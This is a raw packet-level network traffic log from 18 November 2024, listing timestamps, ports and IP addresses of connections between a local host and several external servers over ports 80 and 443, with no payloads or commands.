Nov 18, 2024 04:41:13.344897032 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.344969034 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.344988108 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.344991922 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.345041990 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.345047951 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.345055103 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.345146894 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.345165014 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.345180988 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.345186949 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.345632076 CET	443	49706	173.222.162.64	192.168.2.6
Nov 18, 2024 04:41:13.345720053 CET	49706	443	192.168.2.6	173.222.162.64
Nov 18, 2024 04:41:13.346297026 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.346323967 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.346374035 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.346385002 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.346412897 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.346425056 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.346448898 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.346647978 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.346657038 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.346669912 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.346674919 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.347335100 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.347349882 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.347417116 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.347611904 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.347626925 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.349050045 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.349086046 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.349159002 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.349287033 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.349303961 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.353533030 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.353552103 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.353565931 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.353589058 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.353604078 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.353607893 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.353622913 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.353627920 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.353637934 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.353641987 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.353658915 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.353666067 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.353693008 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.353701115 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.353710890 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.353771925 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.353787899 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.353805065 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.353817940 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.353830099 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.353842020 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.353857994 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.353863955 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.353872061 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.353873014 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.353890896 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.353900909 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.353909969 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.353912115 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.353935957 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.353949070 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.386603117 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.386658907 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.386666059 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.386746883 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.386754990 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.386764050 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.386771917 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.386779070 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.386785984 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.386795998 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.386816978 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.386822939 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.386840105 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.386864901 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.386879921 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.386894941 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.386902094 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.386910915 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.386933088 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387015104 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387028933 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387042999 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387044907 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387068987 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387078047 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387079954 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387094021 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387109041 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387123108 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387141943 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387154102 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387170076 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387185097 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387209892 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387212992 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387226105 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387228012 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387242079 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387254000 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387255907 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387268066 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387293100 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387304068 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387321949 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387340069 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387351990 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387356997 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387371063 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387383938 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387387991 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387403011 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387404919 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387414932 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387422085 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387433052 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387449026 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387451887 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387463093 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387465954 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387481928 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387482882 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387506962 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387507915 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387516975 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387523890 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387540102 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387550116 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387557030 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387569904 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387573957 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387579918 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387590885 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387599945 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387614012 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387617111 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387634039 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387634039 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387650967 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387655973 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387670040 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387680054 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387690067 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387693882 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387712002 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387727022 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387727976 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387751102 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387752056 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387770891 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387774944 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387794971 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387811899 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387815952 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387815952 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387828112 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387828112 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387851000 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387864113 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387895107 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387912035 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387928963 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387936115 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387955904 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387958050 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387972116 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387979984 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.387986898 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.387989998 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388004065 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388004065 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388036013 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388044119 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388063908 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388078928 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388093948 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388115883 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388115883 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388140917 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388158083 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388164997 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388206005 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388256073 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388272047 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388287067 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388288021 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388295889 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388303995 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388320923 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388322115 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388338089 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388345957 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388360977 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388367891 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388375044 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388385057 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388397932 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388401031 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388411045 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388427019 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388442039 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388451099 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388464928 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388468027 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388485909 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388489962 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388503075 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388508081 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388520956 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388528109 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388536930 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388547897 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388556957 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388561010 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388581038 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388586044 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388595104 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388612032 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388627052 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388631105 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388643980 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388650894 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388659954 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388667107 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388678074 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388685942 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388705969 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388720989 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388724089 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388745070 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388762951 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388771057 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388781071 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388789892 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388807058 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388818979 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388828039 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388833046 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388849020 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388850927 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388865948 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388879061 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388890028 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388897896 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388910055 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388914108 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388941050 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388945103 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388955116 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388958931 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388972044 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388977051 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.388989925 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.388998985 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.389003038 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.389008045 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.389027119 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.389039993 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.472630978 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.472671986 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.472687960 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.472717047 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.472754955 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.472754955 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.472774029 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.472790956 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.472798109 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.472807884 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.472821951 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.472824097 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.472832918 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.472856045 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.472867012 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.473006964 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.473033905 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.473048925 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.473059893 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.473077059 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.473088026 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.473229885 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.473254919 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.473269939 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.473278046 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.473284960 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.473287106 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.473300934 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.473301888 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.473316908 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.473329067 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.473337889 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.473356009 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.473360062 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.473371029 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.473371029 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.473375082 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.473402977 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.473412991 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.505908012 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.506010056 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.506025076 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.506040096 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.506066084 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.506091118 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.506093979 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.506108046 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.506123066 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.506139040 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.506146908 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.506165028 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.506165028 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.506165028 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.506165028 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.506226063 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.506226063 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.506226063 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:14.075154066 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.075913906 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.075944901 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.076390982 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.076399088 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.078043938 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.078489065 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.078517914 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.079117060 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.079123974 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.090326071 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.090836048 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.090871096 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.091448069 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.091460943 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.107494116 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.108067989 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.108081102 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.108561039 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.108566999 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.125766993 CET	443	49721	13.107.246.45	192.168.2.6
